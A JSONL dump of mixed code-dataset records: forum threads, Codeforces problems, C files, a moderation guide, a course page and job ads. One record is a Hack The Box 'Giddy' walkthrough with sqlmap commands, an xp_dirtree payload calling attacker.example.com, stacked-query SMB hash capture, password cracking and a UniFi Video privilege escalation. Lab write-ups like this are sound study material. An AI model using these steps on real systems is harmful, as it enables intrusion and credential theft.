"cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Are you aware of the new AllowExecuteCommand switch in SR11?\nI believe the default in SR11 is allow, and you didn't say your script was failing, so this is probably not the issue.\nDo those bat files refer to drive letters or something that won't work in a service? Do you see any orphaned cmd.exe tasks in Task Manager on the server?\nCan you try ECHO a message from the bat file to a file to see if the task is actually executing?\nthanks for your suggestions. Apparently due to security settings, I was using network paths and that is not allowed when I launch cmd.exe in my server. It actually was not just that I was using paths to launch the stuff I needed, it is also the path where it starts as we use a network file share machine to store the qvw.\nWhen a cmd is launched from there, It tries to use that folder as it's starting point, but due to security settings, it takes you back to Windows directory.\nThen, relative paths from there don't work as it's not your qvw folder so it won't work at all.\nIn addition to the starting folder for the CMD it's the network paths not being recognized properly when executing enything else, so fixed straight await with this:\nI just added an execute command at the beggining of the script to map to a drive the network path I wanted and after that I changed all paths to use that unit instead of network \\\\whatever paths\nexecute cmd.exe c/ NET USE Z: \"\\\\path\"\nNow it works from Publisher without any problem at all.\nI've searched for the AllowExecuteCommand in my settings.ini file and it's not there, but as you say in your useful blog post, it is by default set to 1 so I guess either I looked in the wrong place or it doesn't need to be declared in the settings file to be 1 as it's the default.\nAnyway. It's working now.\nEdit: I'm marking my answer as correct so It appears as solved.\nHi @Diego Perez,\nI am facing the same issue.\nOn my Qlikview server I have R installed, on the E drive I have the R script, which is being Called by a Batch file (ReloadR.bat)\nIn Qlikview Script I am using following:\nEXECUTE cmd /C \"E:\\Project\\R Analytics\\ReloadR.bat\";\nIt works fine locally, but when used with Publisher, it completes running without running the batch file.\nAll execution done on one server machine, nowhere are network paths being used.\nHave you checked all permissions are correctly set?\nTry opening the doc in Desktop client, go to Settings > User Preferences > Security tab\nThen check if it's unchecked the option that says :\n\"Script (Allow Database Write and Execute Statements)\"", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.104\nPORT STATE SERVICE VERSION\n301 - 147B - /mvc -> http://10.10.10.104/mvc/\n/remote, port 443, there is a login for a Windows Powershell Web Access service.\n/mvc there is a not-production-ready store application.\nsqlmap we immediately found that the web site is vulnerable to SQLi.\nsqlmap -u \"http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=8\" --threads 10 --random-agent --level 5 --risk 3 --dbms=mssql\nPorts 3389 and 5985 are used for RDP and Windows Remote Management (WinRM) but we don’t have any credentials to use.\nsqlmap we can investigate if there are any credentials on the\nInjection DB or in the\nmaster DB used to connect to the service but we didn’t found a single hash so we focused on getting a shell using\n--priv-esc without success.\nSearching for a way to read files in the remote file systems we found that\nmssql has a stored procedure to display a list of subdirectory:\nEXEC master.sys.xp_dirtree 'C:\\Users\\stacy\\Desktop\\',0,1;.\nExecuting that command we didn’t got any output so we searched for other uses of the\nxp_dirtree: Out of Band Exploitation.\nThis is a concept that can be used when exploiting lots of vulnerabilities such as SQL Injection, Command Injection, Cross-site Scripting and XML External Entity Injection.\nThe idea is fairly simple, instead of capturing the data you would like to retrieve and extracting it through Boolean-logic you can request the system to transmit the data over a protocol such as HTTP, SMB or DNS.\nWith SQL injection, to perform this kind of exfiltration we can use functions such as:\nSupplying a hostname to these functions will cause a DNS lookup to occur, if you control the authoritative name server for a domain then you could see this DNS request in the logs of your server. Now at this to the fact that you can dynamically generate the hostname that is to be used, meaning you can smuggle data out in the subdomain of a domain that you control. A point to note though, is that hostnames have restrictions on the types of characters and the lengths of queries, so I recommend combining functions like SUBSTR() and HEX() to ensure that the length does not exceed the maximum allowed in subdomains and hex will encode any characters that cannot be used in a hostname.\nSo an example of the most simple payload would be:\nEXEC master..xp_dirtree '\\\\attacker.example.com\\foo' --\nThis would cause a DNS lookup to\nattacker.example.com if the system is vulnerable.\nIn our scenario che cannot use the DNS exfiltration because the machine cannot interact to an external domain and with the IP is not possibile to perform a UDP request like\nexfiltratedata.10.10.XX.XX; though it is possibile to use\nxp_dirtree to perform a SMBauthentication.\nWe can’t perform a SMB Relay Attack (CVE-2015-0005) since the machine will not get the payload for the reverse shell.\nThe web-store is vulnerable to stacked queries injection so we can trigger the authentication from Giddy to our machine using\nsmbserver.py DODO .) and the query:\nGET /mvc/Product.aspx?ProductSubCategoryId=26;EXEC(%27master..xp_dirtree%20%22\\\\10.10.XX.XX\\c$%22%27); HTTP/1.1\nThe authentication token from Stacy via SMB is:\nCracking the hash using\nrockyou and hashcat (with option\n-m 400) we got that Stacy’s password is\nLoggin in on the\n/remote endpoint we got an interactive powershell sesssion and the first flag.\nWe tried to upgrade the shell to a meterpreter session but the machine has Windows Defender enabled and Powershell is in Constrained Mode (without Powershell version 2 enabled).\nC:\\Users\\Stacy\\Documents we saw a file called\nunifivideo: Unifi Video is a Ubiquiti service used to control and access video survelliance from remote. The installation path is in\nC:\\ProgramData\\unifi-video and from\ndata\\system.properties we read the software version:\n# unifi-video v3.7.3\nFrom exploitdb we found a privilege escalation exploit for that version.\nUbiquiti UniFi Video for Windows is installed to\nC:\\ProgramData\\unifi-video\\ by default and is also shipped with a service called Ubiquiti UniFi Video. Its executable\navService.exe is placed in the same directory and also runs under the\nNT AUTHORITY/SYSTEM account.\nHowever the default permissions on the\nC:\\ProgramData\\unifi-video folder are inherited from the parent folder and are not explicitly overridden, which allows all users, even unprivileged ones, to append and write files to the application directory:\nUpon start and stop of the service, it tries to load and execute the file at\nC:\\ProgramData\\unifi-video\\taskkill.exe. However this file does not exist in the application directory by default at all.\nBy copying an arbitrary\nC:\\ProgramData\\unifi-video\\ as an unprivileged user, it is therefore possible to escalate privileges and execute arbitrary code as\nInitially we wrote a C program in Windows to copy the flag in a Stacy readable folder:\nStart-Service for Ubiquiti UniFi Video we triggered the execution of the uploaded\ntaskkill file to read the root flag!\nWe can also use some AV evasion technique to execute a meterpreter session.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1286, "token_count_with_eod": 1287, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Polycarp loves ciphers. He has invented his own cipher called Right-Left.\n\nRight-Left cipher is used for strings. To encrypt the string $$$s=s_{1}s_{2} \\dots s_{n}$$$ Polycarp uses the following algorithm:\n\n- he writes down $$$s_1$$$,\n- he appends the current word with $$$s_2$$$ (i.e. writes down $$$s_2$$$ to the right of the current result),\n- he prepends the current word with $$$s_3$$$ (i.e. writes down $$$s_3$$$ to the left of the current result),\n- he appends the current word with $$$s_4$$$ (i.e. writes down $$$s_4$$$ to the right of the current result),\n- he prepends the current word with $$$s_5$$$ (i.e. writes down $$$s_5$$$ to the left of the current result),\n- and so on for each position until the end of $$$s$$$.\n\nFor example, if $$$s$$$=\"techno\" the process is: \"t\" $$$\\to$$$ \"te\" $$$\\to$$$ \"cte\" $$$\\to$$$ \"cteh\" $$$\\to$$$ \"ncteh\" $$$\\to$$$ \"ncteho\". So the encrypted $$$s$$$=\"techno\" is \"ncteho\".\n\nGiven string $$$t$$$ — the result of encryption of some string $$$s$$$. Your task is to decrypt it, i.e. find the string $$$s$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 325, "token_count_with_eod": 326, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "There are two sequences of colorful stones. The color of each stone is one of red, green, or blue. You are given two strings s and t. The i-th (1-based) character of s represents the color of the i-th stone of the first sequence. Similarly, the i-th (1-based) character of t represents the color of the i-th stone of the second sequence. If the character is \"R\", \"G\", or \"B\", the color of the corresponding stone is red, green, or blue, respectively.\n\nInitially Squirrel Liss is standing on the first stone of the first sequence and Cat Vasya is standing on the first stone of the second sequence. You can perform the following instructions zero or more times.\n\nEach instruction is one of the three types: \"RED\", \"GREEN\", or \"BLUE\". After an instruction c, the animals standing on stones whose colors are c will move one stone forward. For example, if you perform an instruction «RED», the animals standing on red stones will move one stone forward. You are not allowed to perform instructions that lead some animals out of the sequences. In other words, if some animals are standing on the last stones, you can't perform the instructions of the colors of those stones.\n\nA pair of positions (position of Liss, position of Vasya) is called a state. A state is called reachable if the state is reachable by performing instructions zero or more times from the initial state (1, 1). Calculate the number of distinct reachable states.", "source": "cpt_codeforces", "language": "en", "token_count": 316, "token_count_with_eod": 317, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Jul 9, 2013 3:04pm\nSo im getting ready to eat a bagel. I was wondering what workout would be good to burn it off . Its like 95° here in st.Louis, so i debt feel like running.\nJul 9, 2013 4:21pm\nTry the President's Victory Workout its a good full body workout. Good luck", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I want to connect my PC via HDMI to my 50in 720p plasma (1024*768) and to my 22in comp screen (1680x1050)\nI want to play Microsoft Flight Simulator X, maybe not at the highest settings but I want it hot, it would be the only game I'll play\nMy budget is 700-900 $CDN\nI want to play mkvs and other HD content\nI want to set it up this week or next one.\nHere is where I'm heading, please suggest or comment, prices come from NCIX and Newegg Canada:\nJust make sure the RAM you chose is on the motherboard's QVL, to make sure it's totally compatible. Other than that, I don't have complaints about your system, except that if you're building a system to \"just\" play FSX, you can get away with cheaper parts—that are on dead-end platforms (socket LGA 775, etc.)\nThere is an issue here you may not have considered.\nYou say you want to run FSX at 720p on your TV. However you also state your TV is not a 720p set, and that it runs at 1024x768. I assume the TV has an aspect ratio of 16:9, and this means that the pixel aspect ratio is not square. This means if you pump 720p from the 5770 to the TV it will have to be scaled by the TV, and you may be surprised by the loss in image quality. This will probably have a severe effect on your ability to read cockput gauges.\nAlso, usual windows tasks will be almost impossible at non square 1024x768. Yes it is possible, but if you are used to using windows at square 16XX x 10XX you are in for trouble. Objects like text will lose significant definition because some of their horizontal resolution is being discarded.\nA partial solution to improve the quality would be to run a custom 16:9 768p resolution from the 5770. You will still lose some horizontal resolution to scaling, but it will not be as severe. Windows only supports square aspect ratios, so pixel loss is unavoidable with your TV.\nAlso, at a 720p or a custom 768p resolution your CPU will an extreme bottleneck for FSX, the GPU load will be small in comparison. As such I wouldn't go any higher than a 5770, instead putting money into the CPU.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 566, "token_count_with_eod": 567, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is an overview page for website moderators, who delete spam, ban spam users, etc. to keep our site clean. As time goes on we will likely need more moderators as our community grows; if you are interested please be in touch with email@example.com.\n- block users\n- spam comments\n- unpublish/delete notes and pages\nThis is a serious responsibility and we have to be careful not to misuse moderator power. Only ban/block/spam if you are sure that it is in fact spam, and please tell the other moderators.\nHow to moderate\nThe simplest moderation task is to look for new comments. If you're subscribed to all new comments, you'll get emails as new ones are posted, and if they look suspicious (i.e. \"beautiful jewelry\" or \"raiders tickets\") click through and investigate. If they're obviously spam, you can use the links below the comments to \"Submit spam\" as shown in the image below. If you're not sure, it's worthwhile to click on the author's name to see if they have other legitimate posts.\n#444;\" src=\"https://farm8.staticflickr.com/7049/6903832613_61a1a1c79d.jpg\" width=\"500\" height=\"228\" alt=\"Spam moderation links\">\nApproving new comments\nNon-PLOTS-users can post comments, but they're held for moderation. Check to see if any new comments are waiting to be approved here: http://publiclaboratory.org/admin/content/comment/approval\nWe should check that as often as possible so people don't have to wait too long. We should also figure out how to get emailed when comments need to be moderated.\nNote and page moderation\nBasic moderation: Those with the \"moderator\" privilege can see a link on pages and notes, below the subscription links, labelled \"Report to Mollom\". This can be used to quickly submit spam and it also improves our automated spam catching system.\n#444;\" src=\"https://farm9.staticflickr.com/8192/8079960431_6c0e56f6d2_o.png\" width=\"228\" height=\"157\" alt=\"report to Mollom\">\n- New notes and pages can be deleted by moderators by clicking the \"Edit\" tab and choosing \"Delete post\". It's worthwhile to first click on the author name to check if they are a spam user; the account can be Blocked following instructions below.\n- Revisions on pages can be reverted by clicking on the \"Revisions\" tab and reverting to a recent clean revision.\n- New published content can also be reviewed en-masse at the address http://publiclaboratory.org/admin/content/antispam/nodes/published (only accessible to moderators).\nAdvanced/batch note/page moderation\nIf you have the privileges, you can visit this address and batch-delete: http://publiclaboratory.org/admin/content/node\nUser moderation: \"Blocking\" users\nSpam users can be blocked by visiting their profile pages (click on their author name in a research note or wiki page revision) and checking \"Blocked\" instead of \"Active\".", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 682, "token_count_with_eod": 683, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// Online C compiler to run C program online\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <time.h>\n#include <math.h>\n\nint random_seed = 1;\n\nint random_int() \n{\n    random_seed = random_seed * 1664525U + 1013904223U;\n    return random_seed;\n}\n\ndouble calc_partial_result(double *values, int num_of_values_to_process)\n{\n    int i, j;\n    double result = 0.0;\n    \n    for(i = 0; i < num_of_values_to_process; i++)\n    {\n        for(j = 0; j <= i; j++)\n        {\n            result += values[i] * (j - 1);\n        }\n    }\n    \n    return result;\n}\n\ndouble calc_partial_conditional_result(double *values, double *values_conditional, int num_of_values_to_process, double min_conditional_value)\n{\n    int i, j;\n    double result = 0.0;\n    \n    for(i = 0; i < num_of_values_to_process; i++)\n    {\n        for(j = 0; j <= i; j++)\n        {\n            if(values_conditional[j] >= min_conditional_value)\n            {\n                result += values[i] * (j - 1);\n            }\n        }\n    }\n    \n    return result;\n}\n\ndouble mean(double data[], int n)\n{\n    int i;\n    double sum = 0.0;\n\n    for(i = 0; i < n; i++)\n    {\n        sum += data[i];\n    }\n\n    return sum / n;\n}\n\ndouble standard_deviation(double data[], int n) \n{\n    int i;\n    double sum_of_data_squared_minus_data = 0.0;\n\n    double avg = mean(data, n);\n\n    for (i = 0; i < n; i++) \n    {\n        sum_of_data_squared_minus_data += pow(data[i] - avg, 2);\n    }\n    return sqrt(sum_of_data_squared_minus_data / (n - 1));\n}\n\nint main(int argc, char *argv[]) \n{\n    int num_of_values = atoi(argv[1]);\n\n    int num_of_executions = 10;\n    int num_of_values_to_process = num_of_values / 2;\n    double min_conditional_value = 10;\n\n    int i, clock_start, clock_end;\n    double result, clock_diff;\n    double execution_times_in_seconds[num_of_executions];\n\n    double *values;\n    double *values_conditional;\n    \n    values = (double *)malloc(num_of_values * sizeof(double));\n    values_conditional = (double *)malloc(num_of_values * sizeof(double));\n    \n    for(i = 0; i < num_of_values; i++)\n    {\n        values[i] = i + 1;\n        values_conditional[i] = (double)random_int();\n        //printf(\"%f\\n\", values_conditional[i]);\n    }\n\n    for(i = 0; i < num_of_executions; i++)\n    {\n        clock_start = clock();\n        result = calc_partial_result(values, num_of_values_to_process);\n        clock_end = clock();\n\n        execution_times_in_seconds[i] = (double)(clock_end - clock_start) / CLOCKS_PER_SEC;\n    }\n\n    printf(\"calc_partial_result: \\n\");\n    printf(\"num_of_values_to_process: = %d\\n\", num_of_values_to_process);\n    printf(\"%f s ± %f s per loop (mean ± std. dev. of %d runs, 1 loop each)\\n\", mean(execution_times_in_seconds, num_of_executions), standard_deviation(execution_times_in_seconds, num_of_executions), num_of_executions);\n    printf(\"result = %f\\n\", result);\n\n    printf(\"\\n\");\n\n    for(i = 0; i < num_of_executions; i++)\n    {\n        clock_start = clock();\n        result = calc_partial_conditional_result(values, values_conditional, num_of_values_to_process, min_conditional_value);\n        clock_end = clock();\n\n        clock_diff = clock_end - clock_start;\n\n        execution_times_in_seconds[i] = clock_diff / CLOCKS_PER_SEC;\n    }\n\n    printf(\"calc_partial_conditional_result: \\n\");\n    printf(\"num_of_values_to_process: = %d\\n\", num_of_values_to_process);\n    printf(\"%f s ± %f s per loop (mean ± std. dev. of %d runs, 1 loop each)\\n\", mean(execution_times_in_seconds, num_of_executions), standard_deviation(execution_times_in_seconds, num_of_executions), num_of_executions);\n    printf(\"result = %f\\n\", result);\n\n    return 0;\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "These unique cufflinks are handmade from original 50 - 75 years old railroad spikes from the High Line. Available in two finishes: polished (taken from a \"side cut\", like a slice of bread, of the spike), and raw (taken from a \"top cut\" of the spike) with sterling silver post & clasp. Produced in collaboration with Tokens and Icons, handcrafted in the USA.\nEach set unique; 0.75 x 0.75 inches. In a custom box.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Twilight Sparkle learnt that the evil Nightmare Moon would return during the upcoming Summer Sun Celebration after one thousand years of imprisonment on the moon. She tried to warn her mentor Princess Celestia, but the princess ignored her and sent her to Ponyville to check on the preparations for the celebration.\n\nTwilight Sparkle wanted to track the path of Nightmare Moon. Unfortunately, she didn't know the exact path. What she knew is the parity of the number of times that each place Nightmare Moon visited. Can you help Twilight Sparkle to restore any path that is consistent with this information?\n\nPonyville can be represented as an undirected graph (vertices are places, edges are roads between places) without self-loops and multi-edges. The path can start and end at any place (also it can be empty). Each place can be visited multiple times. The path must not visit more than 4n places.", "source": "cpt_codeforces", "language": "en", "token_count": 186, "token_count_with_eod": 187, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Reporting Standadrd XBRL WIKI.\nThis WIKI web site is organized in the following sections:\n- XBRL Specifications and related discussions\n- Reporting Standard S.L. - Product specific discussions, including new feature requests\n- Products WITH user interface\n- Components without user interface\n- Other products and components\nRequirements & Installation\nOther optional installation steps\nUseful links and frequently asked questions (FAQ)\n- Where is the licencense file stored and how can I backup it?\n- The XBRL Taxonomy Catalog\n- java.security.SignatureException: invalid encoding for signature\n- Adding taxonomies to the ZIP Catlog", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 133, "token_count_with_eod": 134, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The cows have just learned what a primitive root is! Given a prime p, a primitive root $$\\bmod p$$ is an integer x (1 ≤ x < p) such that none of integers x - 1, x2 - 1, ..., xp - 2 - 1 are divisible by p, but xp - 1 - 1 is.\n\nUnfortunately, computing primitive roots can be time consuming, so the cows need your help. Given a prime p, help the cows find the number of primitive roots $$\\bmod p$$.", "source": "cpt_codeforces", "language": "en", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/* ************************************************************************** */\n/*                                                                            */\n/*                                                        :::      ::::::::   */\n/*   get_start_end.c                                    :+:      :+:    :+:   */\n/*                                                    +:+ +:+         +:+     */\n/*   By: rburger <marvin@42.fr>                     +#+  +:+       +#+        */\n/*                                                +#+#+#+#+#+   +#+           */\n/*   Created: 2017/11/27 15:54:41 by rburger           #+#    #+#             */\n/*   Updated: 2017/11/28 16:06:21 by rburger          ###   ########.fr       */\n/*                                                                            */\n/* ************************************************************************** */\n\n#include \"lem_in.h\"\n\nvoid\tget_start_end(char *str, t_g *all)\n{\n\tif (all->start_flag == 1)\n\t{\n\t\tall->start_room = save_room(str);\n\t\tall->start_flag = -1;\n\t}\n\telse if (all->end_flag == 1)\n\t{\n\t\tall->end_room = save_room(str);\n\t\tall->end_flag = -1;\n\t}\n\telse if (ft_strcmp(\"##start\", str) == 0 && all->start_flag != -1)\n\t{\n\t\tall->start_flag = 1;\n\t\tft_putendl(str);\n\t}\n\telse if (ft_strcmp(\"##end\", str) == 0 && all->end_flag != -1)\n\t{\n\t\tall->end_flag = 1;\n\t\tft_putendl(str);\n\t}\n\telse if (ft_strstr(str, \"#\"))\n\t\tft_putendl(str);\n}", "source": "cpt_stack_code", "language": "code", "token_count": 360, "token_count_with_eod": 361, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Remediate vulnerabilities The flexibility inherent to Vulnerability Response allows you to remediate vulnerabilities in whatever way suits your security organization. You can work with vulnerable items directly or from vulnerability records. Before you begin Role required: sn_vul.vulnerability_write Procedure To view a list of all vulnerabilites, navigate to Vulnerability > Vulnerabilities > All Vulnerabilities. Note: You can also navigate directly to vulnerable items via Vulnerability > Vulnerabilities > All Vulnerable Items. Click a vulnerability record (VUL) that is in the New state. The New state indicates that the record has not yet been worked on. The form displays: a reference to a Common Weakness Enumeration (CWE) entry, if applicable. summary information for the vulnerability. the vulnerability score of the vulnerability using Common Vulnerability Scoring System (CVSS). For more information on the CVSS, see the National Vulnerability Database website. To view vulnerable item records (VIT) contained in this vulnerability, scroll down to the Vulnerable Items related list. When you are ready to start working on the record, change the State field to Analysis. Perform whatever tests or analysis you want on the vulnerabilities. To escalate the vulnerability to another team or to view and add information on impacted business services to a vulnerable item, you have the following options. Option Step If the vulnerable item poses a risk to your IT environment, you create a CHG record and escalate the issue to Change Management team. Click Create Change. If the vulnerable item causes an error in the IT infrastructure, you can create a PRB record and escalate the issue to the Problem Management team. Click Create Problem. If the vulnerable item poses a potential security risk to your organization, create a security incident record and escalate the issue to the Security Incident Response team. Click Create Security Incident. This button is displayed when Security Incident Response is activated. If you are working on a vulnerable item, you can view and add business services that are impacted by the vulnerable item. On the Vulnerable Item form, click the Impacted Services related list. If an affected CI associated with the vulnerable item is added or updated, information in this related list is automatically updated when the record is saved.Note: You can also right-click in the form header and select Refresh Impacted Services. After you create a change request, problem record, or security incident, the appropriate record appears in the Tasks related list on the Vulnerable Item form. You can view SLAs associated with the vulnerabiliy in the Task SLAs related list. If you determine that the issue is a low priority and can either be deferred or immediately closed without further analysis, click Close Item. For instructions, see Close or ignore a vulnerability. If you have set up a third-party integration and a scheduled job that automatically updates and scans records at a set interval, the vulnerabilities are scanned at the next scheduled date and time. Alternatively, you can manually initiate a vulnerability scan. If the scan again returns the vulnerability, the VUL record returns to the Analysis state. If the vulnerability is not found, the VIT transitions to the Closed state.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 625, "token_count_with_eod": 626, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "How about an SCP of a plaque of Shakespeare that gives directions? Put it up in any building, and it will instantly tell you where to go when queried. The only problem is that its directions are in early modern english verse - typically quadratic hexameter or iambic pentameter. It is sometimes quite cryptic for the sake of preserving the rhyming scheme.\n1: As resident Shakespeare fanboy, I disdainfully request that his name be exempt from future fail.\n2: If you have to be cryptic to preserve the rhyme scheme of a poem in iambic pentameter, your poetry sucks miserably, and again, I request that you not tag Shakespeare's name on such loss.\n3: Just… read this.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We are looking for a DevOps Engineer to join our CI Engineering team in Warsaw or Gdańsk.You would work on improving the continuous integration and build system of Tungsten Fabric, an open-source network virtualization solution.\nOur work focuses mainly on Zuul CI and Ansible, which Zuul uses to run its jobs. We start with packages (.rpm, .deb), which we further containerize (Docker) and run multi-platform sanity tests on.\nWe use OpenStack and VMware to provide worker nodes for running Zuul's jobs, Sonatype Nexus as an artifact repository and Terraform and Puppet for infrastructure management.\nIf you like Ansible and are proficient with Git, send us a message and let’s talk!\nIf you have any questions regarding this position, contact your recruiter:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Discover projects, groups and snippets. Share your projects with others\nHistorical resto data from the Hydra API.\nMenu files for Haldis, in the HLDS format\nDe Repository voor Informatie, Vragen/Verslagen en Events\nA tool for showing overlays with images and text in Wayland, for use in scripts.\nWorks only on Wayland compositors that implement wlr-layer-shell.\nFaster simple Gentoo package search powered by fd (or find)\nCreate a \"now playing\" custom status in Mattermost. Depends on https://git.zeus.gent/midgard/mmcli being in your path as mmcli\nLightweight Mattermost frontend with multi-server support. Core functionality present.\nHaldis web application code, official upstream is at https://github.com/ZeusWPI/Haldis/ — Menus\nMirror a git repo in leader-followers configuration\nMirror of https://github.com/tuxedocomputers/tuxedo-keyboard", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Math 187A: Introduction to Cryptography (Winter 2021, lecture A)\nThis course will be closely coordinated with Alina Bucur's Math 187A course (Lecture B). You may attend either lecture. Most policies, assignments, and deadlines will be the same for both lectures. Discussion sections, office hours, and Zulip will be shared.\nDue to the COVID-19 pandemic, this course will be taught remotely and will accommodate participation from any timezone; however, all times will be announced in Pacific Standard Time (PST = UTC-8) except as indicated. You are responsible for meeting all deadlines as announced, regardless of the timezone you are in.\nLectures and discussion sections will be given synchronously, recorded, and made available for later viewing. By attending, you give permission to be recorded by the instructional staff only, not by other students. If you do not want to be recorded, please keep your audio/video muted or view the recorded lecture after it has been posted. You do not have permission to share the recordings or to record any other interactions with the instructor or TAs.\nReminder: please use Zulip private messages to communicate with course staff in place of email.\nLecture: MWF 1-1:50pm (link posted on Canvas and Zulip). No lectures on Monday, January 18 or Monday, February 15 (university holidays).\nInstructor: Kiran S. Kedlaya\nOffice hours: W 2-3pm, F 3-4pm (links posted on Canvas and Zulip) or by appointment (via Zulip).\nNote: Friday office hours will be \"Ask Me Anything\" sessions.\nSections takes place Mondays 4-4:50pm (B05), 5-5:50pm (A01/B01), 6-6:50pm (A02/B02), 7-7:50pm (A03/B03), 8-8:50pm (A04/B04). Attending section is not mandatory. You may attend any section, not just the one you are registered for. No sections on Monday, January 18 or Monday, February 15 (university holidays).\n|TAs:||Poornima B||Mingjie Chen||Jun Bo Lau||Finn McGlade||Baiming Qiao|\n|OH||Tu 12-2pm||Tu 10-11am, W 10-11am||W 5-7pm, F 5-6pm||Tu 8-10am||W 3-4pm, F 4-5pm|\nRequired text: none. For those who want to read more, a good reference is An Introduction to Mathematical Cryptography by Hoffstein, Pipher and Silverman. (The link provides electronic access through the UCSD Library. You will have to VPN into the UCSD network in order to gain access to it; then click the \"SpringerLink\" page from the library page.)\nHandouts: All handouts will be posted to Canvas. This includes lecture notes, lecture recordings, and homework assignments.\nHomework: There will be 4 assignments in total (due Wednesdays in weeks 2, 4, 6, 8), due at 11:59pm on the indicated date through Gradescope. Before the deadline, you may submit as many copies of your homework paper as you would like; however, only the most recent submission will be considered.\nNo late homework will be accepted. If you fail to submit your homework before the deadline, then you will automatically receive a zero for that assignment. The lowest homework score will be dropped; please do not contact course staff to ask for further leniency!\nWe strongly encourage that you type your solutions. Handwritten papers must be legible, or else your homework may not be graded. Homework grades will be available on Gradescope (and later Canvas).\nQuizzes: There will be 4 quizzes of 20min each (held Wednesdays in weeks 3, 5, 7, 9), administered through Gradescope. There will be a practice quiz during week 1 to help you familiarize yourself with the process.\nQuizzes will be administered during the two lecture periods (11-11:50am, 1-1:50pm) and at a third time to be announced later.\nDuring each quiz, you may use any resources (notes, books, even search engines) as long as you do not communicate with any other humans. For example, posting a question to Chegg is not permitted.\nThe lowest quiz score will be dropped. Handwritten papers must be legible, or else your quiz may not be graded. Quiz grades will be available on Gradescope\n(and later Canvas).\nFinal project: due F 3/19/20 at 2:30pm PDT (Daylight Saving Time begins 3/14/20). As for quizzes, you may use any resources as long as you do not communicate with any other humans. There is no final exam; disregard any information from the registrar to the contrary.\nGrading: All grades are recorded on Gradescope\n(and later Canvas).\nOnly grades that appear in\nCanvasGradescope in week 10 will be included in calculating the total score for the course.\n- 50% homework: the lowest score will be dropped, all others will be weighted equally.\n- 25% quizzes: the lowest score will be dropped, all others will be weighted equally.\n- 20% final project: cannot be dropped. In addition, you must obtain a passing score on the final project in order to pass the course. (The passing cutoff will be no higher than 65%.)\n- 5% participation activities. These will be asynchronous, but there will be time set aside during lectures for them.\nAny infringement of UCSD's academic integrity or harassment policies, including cheating on a quiz/hw/project, will result in failing the class, as well as further disciplinary action. If you suspect a violation, please bring it to the attention of course staff immediately; we will also be monitoring Chegg and similar sites for suspicious activity.\nThere will be no curve in this class, and therefore no pressure to compete against other students. Grade cutoffs:\nRegrade Policy: If you believe there might be an error in the grading and wish to have your quiz/homework regraded, you must observe the following rules.\n- Regrade requests will not be considered later than three days after the grade was originally posted. That means that you should check your scores frequently in order to not miss the reporting window.\n- If you disagree with the TA's answer to your regrade request, you may ask for the instructor to review it. In order to do this, you must:\n- make your request within 24 hours of receiving the TA's answer, and\n- ask that they forward it to the instructor.\n- Instructor review requests will not be considered later than one week after the grade was posted.\n- No regrade requests will be considered after week 9, except for the final project.\nLetters of recommendation: In general, you should try to get a letter of recommendation from a professor with whom you had some one-to-one contact. I will consider recommendation requests only from people who have placed in the top 25% of the class (in the past, this meant a grade of A+) and who have had some nontrivial interaction with me outside lecture (which this quarter amounts to interacting with me during Zoom office hours). See also this page.\nCommunication: Most communication about the course will take place in Zulip; Zulip includes both a general discussion forum, available to all students in both Math 187A lectures, and one-on-one direct messages. A link to join Zulip will be posted to Canvas. Once you have joined, please use DMs instead of email for questions about the course; I may not answer emails. All course communication is subject to UCSD's academic integrity and harassment policies.\nElectronic devices: On Zoom, please make sure your mic is muted when you don't need to speak. No visual or audio recording is allowed in class/section/office hours without prior permission of the instructor/TA and all other attendees (whether by camera, cell phone, or other means).\n- There will be no lectures on Monday, January 18 or Monday, February 15.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1811, "token_count_with_eod": 1812, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given three positive integers x, y, n. Your task is to find the nearest fraction to fraction $$\\frac{x}{y}$$ whose denominator is no more than n.\n\nFormally, you should find such pair of integers a, b (1 ≤ b ≤ n; 0 ≤ a) that the value $$\\left|\\frac{x}{y}-\\frac{a}{b}\\right|$$ is as minimal as possible.\n\nIf there are multiple \"nearest\" fractions, choose the one with the minimum denominator. If there are multiple \"nearest\" fractions with the minimum denominator, choose the one with the minimum numerator.", "source": "cpt_codeforces", "language": "en", "token_count": 131, "token_count_with_eod": 132, "validation_channel": "code", "validation_source": "cpt_codeforces"}
